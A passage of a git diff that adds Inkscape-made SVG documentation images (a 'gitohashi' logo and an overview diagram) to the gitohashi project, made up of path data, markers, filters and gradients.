0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(6.9687 -.0097919 .0097919 6.9687 -106.86 -1286.6)\u0022 fill\u003d\u0022#fff\u0022 filter\u003d\u0022url(#aj)\u0022 stroke\u003d\u0022#fff\u0022 stroke-width\u003d\u0022.075\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal\u0022 aria-label\u003d\u0022gitohashi\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(6.9687 -.0097919 .0097919 6.9687 -106.83 -1286.6)\u0022 stroke-width\u003d\u0022.13209\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal\u0022 aria-label\u003d\u0022gitohashi\u0022\u003e\n+\t\t\t\t\u003cg stroke-width\u003d\u0022.13209\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cg fill\u003d\u0022#800000\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\u003c/g\u003e\n+\u003c/svg\u003e\ndiff --git a/doc/doc-assets/gitohashi-overview.svg b/doc/doc-assets/gitohashi-overview.svg\nnew file mode 100644\nindex 0000000..fe1ef73\n--- /dev/null\n+++ b/doc/doc-assets/gitohashi-overview.svg\n@@ -0,0 +1,324 @@\n+\u003c?xml version\u003d\u00221.0\u0022 encoding\u003d\u0022UTF-8\u0022?\u003e\n+\u003c!-- Created with Inkscape (http://www.inkscape.org/) --\u003e\n+\u003csvg width\u003d\u0022163.94mm\u0022 height\u003d\u0022216.64mm\u0022 version\u003d\u00221.1\u0022 viewBox\u003d\u00220 0 163.94383 216.63525\u0022 xmlns\u003d\u0022http://www.w3.org/2000/svg\u0022 xmlns:cc\u003d\u0022http://creativecommons.org/ns#\u0022 xmlns:dc\u003d\u0022http://purl.org/dc/elements/1.1/\u0022 xmlns:rdf\u003d\u0022http://www.w3.org/1999/02/22-rdf-syntax-ns#\u0022 xmlns:xlink\u003d\u0022http://www.w3.org/1999/xlink\u0022\u003e\n+\t\u003cdefs\u003e\n+\t\t\u003cmarker id\u003d\u0022z\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022i\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022ad\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022l\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022aa\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022c\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cfilter id\u003d\u0022r\u0022 x\u003d\u0022-.020287\u0022 y\u003d\u0022-.057556\u0022 width\u003d\u00221.0406\u0022 height\u003d\u00221.1151\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.0097149\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cfilter id\u003d\u0022u\u0022 x\u003d\u0022-.037101\u0022 y\u003d\u0022-.099168\u0022 width\u003d\u00221.0742\u0022 height\u003d\u00221.1983\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.01776672\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cfilter id\u003d\u0022q\u0022 x\u003d\u0022-.020852\u0022 y\u003d\u0022-.022404\u0022 width\u003d\u00221.0417\u0022 height\u003d\u00221.0448\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.010260666\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cfilter id\u003d\u0022t\u0022 x\u003d\u0022-.016301\u0022 y\u003d\u0022-.069385\u0022 width\u003d\u00221.0326\u0022 height\u003d\u00221.1388\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.009322423\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cfilter id\u003d\u0022s\u0022 x\u003d\u0022-.0062326\u0022 y\u003d\u0022-.0085229\u0022 width\u003d\u00221.0125\u0022 height\u003d\u00221.017\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.004594992\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cfilter id\u003d\u0022v\u0022 x\u003d\u0022-.054324\u0022 y\u003d\u0022-.11802\u0022 width\u003d\u00221.1086\u0022 height\u003d\u00221.236\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.023580879\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cradialGradient id\u003d\u0022a\u0022 cx\u003d\u0022289.72\u0022 cy\u003d\u0022412.83\u0022 r\u003d\u0022.053743\u0022 gradientTransform\u003d\u0022matrix(1.1735 0 0 1.1058 -50.276 -43.662)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#n\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022n\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c2c9ca\u0022 stop-opacity\u003d\u0022.37603\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022b\u0022 x1\u003d\u00228.4716\u0022 x2\u003d\u002217.364\u0022 y1\u003d\u0022124.88\u0022 y2\u003d\u0022123.79\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#m\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022m\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u0022.72157\u0022 offset\u003d\u0022.39592\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u0022.41961\u0022 offset\u003d\u0022.48155\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003cfilter id\u003d\u0022o\u0022 x\u003d\u0022-.031351\u0022 y\u003d\u0022-.045733\u0022 width\u003d\u00221.0627\u0022 height\u003d\u00221.0915\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.40133499\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cmarker id\u003d\u0022y\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022f\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022g\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022ac\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022d\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022ab\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022k\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022x\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022j\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022w\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022e\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022h\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cfilter id\u003d\u0022p\u0022 x\u003d\u0022-.03516\u0022 y\u003d\u0022-.026161\u0022 width\u003d\u00221.0703\u0022 height\u003d\u00221.0523\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.73415599\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\u003c/defs\u003e\n+\t\u003cmetadata\u003e\n+\t\t\u003crdf:RDF\u003e\n+\t\t\t\u003ccc:Work rdf:about\u003d\u0022\u0022\u003e\n+\t\t\t\t\u003cdc:format\u003eimage/svg+xml\u003c/dc:format\u003e\n+\t\t\t\t\u003cdc:type 